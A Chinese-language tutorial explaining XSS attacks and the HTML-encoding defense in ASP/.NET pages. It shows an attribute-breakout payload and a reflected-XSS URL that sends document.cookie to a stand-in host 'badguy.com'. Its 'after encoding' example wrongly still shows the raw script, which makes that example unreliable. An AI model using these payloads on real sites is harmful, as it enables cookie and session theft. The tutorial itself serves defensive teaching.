上一篇介绍了SQL注入漏洞,今天我们来介绍另一个注入漏洞,即XSS跨站脚本攻击。XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web应用中常见的漏洞。指攻击者在网页中嵌入客户端脚本(一般是JavaScript),当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. ,比如获取用户的Cookie,导航到恶意网站,携带木马等。
<input type="text" name="address1" value="value1from">
"/><script>alert(document.cookie)</script><!-
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
因为注释符后面的内容被忽略了,所以上面的代码等价于:
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script>
此时嵌入的JavaScript代码就会执行,页面会出来一个弹窗,将用户的cookie信息打印出来。
http://victim.com/search.asp?term=apple
可以看到页面接受一个叫term的QueryString参数,search.asp页面代码可能是这样的。
<html> <title></title> <body> Results for <%Request.QueryString("term")%> ... </body> </html>
黑客创建了一个网站用来接收盗取来的信息,然后通过注入攻击的脚本到这个请求的url中,然后url可能变成这样。
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
当黑客访问这个url后,攻击脚本就会嵌入到用户的浏览器中,search.asp页面就会变成下面这样子。
<html> <title></title> <body> Results for <script>window.open("http://badguy.com?cookie="+document.cookie)</script> ... </body> </html>
看到了吗,XSS攻击脚本成功嵌入到用户的浏览器中了,那么当用户再访问这个页面时,攻击脚本就会将用户的cookie信息发送到他的网站,也就达到盗取用户的信息的目的了。
<html> <title></title> <body> Results for <%Request.QueryString("term")%> ... </body> </html>
由于.net已经内置了HTML编码的工具类,可以使用System.Net.WebUtility.HtmlEncode(string)进行HTML编码,优化后:
<html> <title></title> <body> Results for <%HtmlEncode(Request.QueryString("term"))%> ... </body> </html>
如果遇到XSS攻击,黑客输入term=,最终经过HTML编码后页面是这样子的:
<html> <title></title> <body> Results for <script>window.open("http://badguy.com?cookie="+document.cookie)</script> ... </body> </html>
可以看到,特殊字符都已经过转义了,那么嵌入的Javascript脚本也就无法执行了。